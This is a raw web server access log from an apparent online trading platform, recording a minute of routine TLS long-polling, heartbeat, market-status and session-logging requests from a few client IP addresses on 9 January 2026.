[09/Jan/2026:10:06:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:06:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:06:45 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924674051 HTTP/1.1" -
[09/Jan/2026:10:06:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924678409 HTTP/1.1" -
[09/Jan/2026:10:06:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924678890 HTTP/1.1" -
[09/Jan/2026:10:06:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924694224 HTTP/1.1" -
[09/Jan/2026:10:06:51 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924680051 HTTP/1.1" -
[09/Jan/2026:10:06:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924683525 HTTP/1.1" -
[09/Jan/2026:10:06:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:06:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:06:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924683914 HTTP/1.1" -
[09/Jan/2026:10:06:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924700235 HTTP/1.1" -
[09/Jan/2026:10:06:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924688665 HTTP/1.1" -
[09/Jan/2026:10:06:57 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924686051 HTTP/1.1" -
[09/Jan/2026:10:06:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924688937 HTTP/1.1" -
[09/Jan/2026:10:07:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924693803 HTTP/1.1" -
[09/Jan/2026:10:07:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:07:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:07:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924706228 HTTP/1.1" -
[09/Jan/2026:10:07:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:07:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:07:03 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924692051 HTTP/1.1" -
[09/Jan/2026:10:07:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924693972 HTTP/1.1" -
[09/Jan/2026:10:07:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924698947 HTTP/1.1" -
[09/Jan/2026:10:07:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924712224 HTTP/1.1" -
[09/Jan/2026:10:07:09 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924698050 HTTP/1.1" -
[09/Jan/2026:10:07:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924699015 HTTP/1.1" -
[09/Jan/2026:10:07:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924703987 HTTP/1.1" -
[09/Jan/2026:10:07:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924718226 HTTP/1.1" -
[09/Jan/2026:10:07:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924704053 HTTP/1.1" -
[09/Jan/2026:10:07:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:07:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:07:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924704052 HTTP/1.1" -
[09/Jan/2026:10:07:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924709039 HTTP/1.1" -
[09/Jan/2026:10:07:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924709075 HTTP/1.1" -
[09/Jan/2026:10:07:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924724230 HTTP/1.1" -
[09/Jan/2026:10:07:21 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924710052 HTTP/1.1" -
[09/Jan/2026:10:07:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924714177 HTTP/1.1" -
[09/Jan/2026:10:07:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:07:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:07:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924714102 HTTP/1.1" -
[09/Jan/2026:10:07:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924730232 HTTP/1.1" -
[09/Jan/2026:10:07:27 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924716050 HTTP/1.1" -
[09/Jan/2026:10:07:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924719344 HTTP/1.1" -
[09/Jan/2026:10:07:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924719143 HTTP/1.1" -
[09/Jan/2026:10:07:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:07:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:07:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:07:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:07:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:07:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924736236 HTTP/1.1" -
[09/Jan/2026:10:07:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:07:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:07:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:07:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924724531 HTTP/1.1" -
[09/Jan/2026:10:07:33 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924722051 HTTP/1.1" -
[09/Jan/2026:10:07:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924724184 HTTP/1.1" -
[09/Jan/2026:10:07:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924729591 HTTP/1.1" -
[09/Jan/2026:10:07:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924742232 HTTP/1.1" -
[09/Jan/2026:10:07:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924728052 HTTP/1.1" -
[09/Jan/2026:10:07:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:07:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:07:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:07:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:07:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924729229 HTTP/1.1" -
[09/Jan/2026:10:07:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924734661 HTTP/1.1" -
[09/Jan/2026:10:07:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924748233 HTTP/1.1" -
[09/Jan/2026:10:07:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924734258 HTTP/1.1" -
[09/Jan/2026:10:07:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:07:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:07:45 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924734054 HTTP/1.1" -
[09/Jan/2026:10:07:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924739801 HTTP/1.1" -
[09/Jan/2026:10:07:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924739299 HTTP/1.1" -
[09/Jan/2026:10:07:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924754223 HTTP/1.1" -
[09/Jan/2026:10:07:51 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924740051 HTTP/1.1" -
[09/Jan/2026:10:07:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:07:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:07:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924744945 HTTP/1.1" -
[09/Jan/2026:10:07:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924744318 HTTP/1.1" -
[09/Jan/2026:10:07:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924760223 HTTP/1.1" -
[09/Jan/2026:10:07:57 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924746052 HTTP/1.1" -
[09/Jan/2026:10:07:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924750087 HTTP/1.1" -
[09/Jan/2026:10:08:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924749336 HTTP/1.1" -
[09/Jan/2026:10:08:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924766231 HTTP/1.1" -
[09/Jan/2026:10:08:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:08:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:08:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:08:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:08:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924755282 HTTP/1.1" -
[09/Jan/2026:10:08:03 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924752054 HTTP/1.1" -
